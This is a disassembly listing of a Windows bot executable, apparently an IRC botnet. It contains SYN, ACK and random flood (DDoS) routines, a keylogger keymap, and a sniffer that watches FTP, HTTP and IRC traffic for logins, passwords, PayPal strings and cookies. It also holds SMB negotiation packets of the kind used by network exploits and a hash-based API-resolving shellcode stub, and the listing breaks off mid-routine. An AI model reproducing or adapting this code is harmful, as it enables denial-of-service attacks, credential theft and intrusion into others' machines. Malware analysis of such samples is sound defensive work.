dd 22E5C8E4h, 7469412Dh, 1F05C6B1h, 11B001Ah, 2A95B76Dh
dd 367BC12Fh, 0C3D04170h, 2960000h, 0AC92413Ch, 124004Ah
dd 0A5AEC6Ah, 0F20BA334h, 0D643C55Ch, 23E2CF0Ah, 5068h
dd 0EA20016Eh, 9ADA868Dh, 6561D2C9h, 0A07945A7h, 0FB0000h
dd 523B9CDEh, 38437557h, 9C61E48Ch, 675h, 2644011Ah, 5D6572Bh
dd 9636F423h, 0ACC7h, 0FD28004Ah, 57BD852Ch, 5535D6F1h
dd 0AA9Eh, 0DD0F001Bh, 0CF10725Bh, 18DB84A7h, 11200D1h
dd 4196C95Ch, 0A7D912CCh, 8EAC09h, 30930034h, 7C2F6F82h
dd 0E8C80CA0h, 10D00A4h, 9D7A93CAh, 0CB4AA6A6h, 1739CE41h
dd 0D0023FB7h, 0C8A0h, 3DDA0090h, 0D95A70CDh, 84F417h
dd 0C387008Ah, 755904E7h, 0E1E29EE8h, 0BD8D7E5Bh, 6A7CF2AAh
dd 5CF4h, 23D40089h, 4CC3A2C4h, 0C8B7746Dh, 95061942h
dd 0DEA31F4Ah, 551CC83Ah, 9D0022h, 11F4FBC9h, 518B4626h
dd 0E78D87C6h, 94008Eh, 5210B4F7h, 0E03B453Eh, 139A048Ah
dd 147Ah, 3A510218h, 0F8C40CF0h, 79Ch, 0BBC6026Ah, 0A7D556EFh
dd 28188521h, 0DC7CBB50h, 1C10000h, 0F0AF94A5h, 36B1031Dh
dd 0AA684924h, 0B816A520h, 5B9DE14Bh, 660000h, 0BC713B23h
dd 38EA71AEh, 0A5C6DE70h, 9CF06E2h, 2CF29643h, 1AB0000h
dd 0FEB89306h, 2328B1BFh, 3E275014h, 7D5A0710h, 25144668h
dd 9A2EA344h, 4DD29A18h, 753F72F0h, 0C8B664CCh, 5500D8h
dd 0A50EB445h, 0D243AEA8h, 0FE53A818h, 0D478A50Bh, 7D51124h
dd 1C200EDh, 0B535D5CFh, 0E092DCC4h, 1763997Fh, 13E0000h
dd 0AE6DE8CBh, 0B28E2770h, 0C8DEF0FCh, 0AF88h, 942B0126h
dd 9DD6599Ch, 0E0372840h, 37BCC215h, 9230h, 3F2F00AFh
dd 26A4AEFh, 5B288E2Ch, 4A24C78Eh, 1930000h, 0E004C85h
dd 337D7C46h, 35591839h, 18C0000h, 38C9BCB3h, 11B3DD8Ah
dd 1612h, 71A902B0h, 17E2A7D6h, 0CFF7F71Ah, 0B7FCEDDh
dd 1D600A1h, 494FC2B9h, 994E28CFh, 0E2DA3423h, 350035h
dd 3915AAA4h, 69AD4A88h, 74F5185Dh, 11DB2D6Ah, 6D79h, 5DC0026Ch
dd 6293B083h, 7FE90194h, 114001Bh, 438B4CD2h, 0E413CC9Dh
dd 485E20h, 0F91D0044h, 8101CB25h, 9989DC13h, 4811C3EEh
dd 800000h, 0BF446C94h, 4B922DA1h, 58D29290h, 8ABEBFEBh
dd 934FDC5h, 0ABBD20CEh, 2680061h, 900D9DCFh, 0C35AA8F8h
dd 8AAF0DD6h, 65CE63B0h, 0CA88h, 0ABAA02DFh, 907EC514h
dd 0B4F964h, 0A86E0165h, 68C1FE7Dh, 0BF28AD4Bh, 111Ch
dd 8F74010Bh, 19176DB6h, 7573618Ah, 642BC640h, 0FC8E5E20h
dd 1F90000h, 9199CD9Eh, 2BD69BB9h, 21474377h, 6300A0h
dd 4E1B61C5h, 1B43E05Ah, 5A424679h, 15C051h, 0F300F7h
dd 97A1B13Bh, 48106D57h, 0C4C54DA4h, 0ECC2D8h, 0BA5C0043h
dd 79C29DE5h, 0A0E6A52Ch, 1750000h, 0EEBDE008h, 792E8B8Ch
dd 1EE06122h, 18D00C8h, 0EDEEC629h, 5126F87h, 0F99B12EEh
dd 0CD889553h, 95E7h, 3D6D007Dh, 0F343DFF8h, 4A43A76Eh
dd 5700C2h, 0D079D574h, 0E76B1622h, 0FA3999h, 31B901EFh
dd 235FF1C7h, 9949E418h, 0F8006Fh, 0D83C5B62h, 0C0B175EEh
dd 0DD236FDBh, 3691FD27h, 0F176EFh, 95900028h, 0EBAFD46Ch
dd 0C546DFh, 0E5AA02CEh, 9235DF75h, 150DED1Eh, 67FB2A87h
dd 0F1A38E61h, 3F00DBh, 592A633Bh, 14CFAC45h, 7B494A7h
dd 29F0000h, 0C6AA5667h, 0C9AA1FC4h, 0DE1A836h, 0E83629h
dd 585201DDh, 42F5574Ah, 0A95DAEh, 0A96802D2h, 0B4A3E420h
dd 0A9B28C91h, 5F07DFA0h, 7F50E751h, 1E400B9h, 0E7BD16B7h
dd 65E03F48h, 52551798h, 0C6BE9EF2h, 0E54909h, 0C14F00CEh
dd 0BC4499BEh, 0A2F6527h, 7CE1F863h, 0F101h, 0E85A029Eh
dd 0FBB38B80h, 2847FE60h, 0A687DFD5h, 0C1A0h, 0A59E011Ch
dd 377461C0h, 787825F6h, 0EF947E30h, 1200000h, 0AF81CDD1h
dd 3446A8DAh, 5C4B7D99h, 5072E1CEh, 1990000h, 0F549B0BFh
dd 0D4FDD344h, 19F00A2h, 758B5415h, 9FFDB0B2h, 22F0000h
dd 6C93D01Eh, 8C38445Eh, 170004Ah, 0A83251AEh, 0CC5952Dh
dd 2459D737h, 0F37537BCh, 0C379C19Dh, 0BFCAh, 0F75C015Dh
dd 0B756903Fh, 6510EC98h, 0B73458h, 5DCC01A2h, 0DC7375C6h
dd 8ED9C544h, 15000DDh, 0AD6C152Ch, 3DD44A88h, 0A77E3C97h
dd 7B6602h, 727300CAh, 3EE06576h, 59D289B6h, 2B9270B8h
dd 174006Ah, 25EB4B58h, 589F7A28h, 605Ah, 0D56A019Dh, 2B5273D2h
dd 397DBC16h, 19B0065h, 0D6E23AD6h, 11D0931Ch, 49E6h, 310D02BFh
dd 0B290CB1h, 0A1EEF422h, 2BB00E4h, 0A99B1A94h, 913D2A32h
dd 0BAB9F76Eh, 1B80000h, 0B4F8D775h, 25696A09h, 0ED19E979h
dd 20B00A6h, 0C1966278h, 0B4343965h, 9E06B670h, 0E50Dh
dd 3B0701A3h, 3E1933A5h, 0AC8Eh, 2D4901BFh, 0B6C8635Ch
dd 0D3962052h, 5F4Bh, 6E0701C0h, 9332EE05h, 2AE25EB6h
dd 0DD41h, 121700BFh, 61B744A7h, 3A198Dh, 48C100B9h, 0AF695F8Dh
dd 1310000h, 65CE74DDh, 31AC5CCh, 2AD0000h, 0D7CE15A0h
dd 0AF3E3BDCh, 0EDFA4B64h, 52CD63A7h, 0F7712F54h, 1646620Fh
dd 0B20000h, 0A2FDC39h, 3FF8255Ch, 0E93C9A55h, 59FBF35Dh
dd 0B2F84FFDh, 219F94h, 0EB5700B3h, 8F65EABDh, 51FD4112h
dd 0DE8845CDh, 1764E893h, 5CD0F65Ch, 10600D2h, 438E71B8h
dd 3B6F549Ch, 418A2E10h, 0BB2F9DC6h, 658E11D5h, 1080092h
dd 0D7A2990Bh, 0E383516Eh, 62DD0274h, 0BB19752Ah, 9768392Ah
dd 0C5DAh, 0BFF4026Dh, 5F7470B7h, 0B8DA09Ah, 0CB53F991h
dd 1520000h, 0BB0C63E6h, 35985CE6h, 0F881932Dh, 1150000h
dd 899CDF33h, 5C5D0E75h, 3D85D3h, 0F89E0153h, 0A9E3A443h
dd 5D12D977h, 525E7183h, 1560000h, 680BBE66h, 1BEB4F12h
dd 4D8B8433h, 0BA52h, 41B027Ch, 6D27DC2Eh, 0C0FA614Eh
dd 7C09h, 731000AAh, 0ABBE9AA8h, 0D6FC8034h, 225B74BDh
dd 0AFBDh, 0ABEF028Bh, 5BF3DC23h, 9CEFCB4Bh, 6DD64C10h
dd 6429C55Fh, 7B824372h, 81BC6A4Eh, 1B500C4h, 1DC038FBh
dd 0C1BFE1C7h, 0EDF9EE93h, 1B20000h, 7140B7F0h, 0E3F7AB4h
dd 0F3D3A2A1h, 2610000h, 43D8F77Bh, 6703A0CDh, 0EB4988EEh
dd 210000h, 0B091D1AAh, 0EB1BA06h, 1D5CB3EFh, 8566h, 4F260022h
dd 2E81B95Dh, 0F157DE67h, 22E7731Ch, 2620000h, 0B5222294h
dd 1AF8D3F9h, 0EF24E849h, 0E74635E1h, 112DE76Eh, 819B63h
dd 6041F72Fh, 26F6A6A2h, 0EFC9D670h, 155h dup(0)
seg001 ends
; Section 3. (virtual address 00021000)
; Virtual size : 0003F000 ( 258048.)
; Section size in file : 0003F000 ( 258048.)
; Offset to raw data for section: 00021000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg002 segment para public 'CODE' use32
assume cs:seg002
;org 421000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_421000 dd 0 dd offset sub_40388F
dd offset sub_41E154
dword_42100C dd 0 dword_421010 dd 0 dd offset sub_4148E2
dd offset sub_41A414
dd offset sub_41B166
dd offset sub_41BFD8
dword_421024 dd 0 dword_421028 dd 0 dd offset sub_41B20B
dword_421030 dd 0 dword_421034 dd 0 dd offset sub_41BFE9
dword_42103C dd 0 unk_421040 db 2 ; DATA XREF: start+5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_42107C db 2 ; DATA XREF: seg000:004013B4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:loc_4011DEo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:loc_4011C2o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:004011A3o
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
db ').',0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
db '.',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aInvalidTargetI db 'Invalid target IP.',0
align 10h
unk_4211D0 db 2 ; DATA XREF: seg000:00401509o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42121C db 2 ; DATA XREF: seg000:00401490o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0
dword_421264 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40182E+48o
dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 10h
dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dword_4212D0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:004020C1o
dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dword_421334 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:00402025o
dd 2029206Ch, 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: seg000:00401EE8o
; seg000:0040DE83o
align 10h
aAck db 'ack',0 ; DATA XREF: seg000:00401EC8o
; seg000:0040DE6Co
aSyn db 'syn',0 ; DATA XREF: seg000:00401EA8o
; seg000:0040DE54o
dword_4213A8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:00401D35o
dd 2029206Ch, 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_4213DC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:00401CC4o
dd 2029206Ch, 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_421428 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:00401C46o
dd 2029206Ch, 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4021FB:loc_4022DEo
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_421BA4 dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_421BDC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
; DATA XREF: seg000:004021C8o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:004021A2o
align 4
aAb db 'ab',0 ; DATA XREF: seg000:loc_402168o
; seg000:0040DD32o
align 10h
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
align 10h
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
align 10h
off_421C70 dd offset dword_4224E8 ; DATA XREF: seg000:0040277Ar
dd offset off_4224E4
dd offset aFtp ; "FTP"
dd offset aHttp ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 3 dup(0)
dword_421C94 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: seg002:00421C7Co
align 10h
aFtp db 'FTP',0 ; DATA XREF: seg002:00421C78o
off_4224E4 dd offset byte_435249 ; DATA XREF: seg002:00421C74o
dword_4224E8 dd 544F42h unk_4224EC db 2 ; DATA XREF: seg000:004027D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 4
unk_422534 db 2 ; DATA XREF: seg000:00402787o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: seg000:00402711o
align 4
unk_422588 db 2 ; DATA XREF: seg000:00402662o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 4
unk_4225D4 db 2 ; DATA XREF: seg000:004025DFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
unk_42261C db 2 ; DATA XREF: seg000:00402561o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_402AB1+B2o
align 10h
dword_422670 dd 10FF8h, 0 dword_422678 dd 10FF8h dword_42267C dd 7FFDF020h, 0 dword_422684 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_42270C dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_42273C dd 0 dd 800000D4h, 0
unk_422748 db 81h ; ; DATA XREF: sub_402FB5+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_422794 db 41h ; DATA XREF: sub_403053+107r
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_4227D8 proc near ; DATA XREF: sub_4032B0+80o
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4228D4
push dword ptr [esi]
push 63D61209h
call sub_4228EA
mov [esi+8], eax
call sub_42289D
push dword ptr [esi+4]
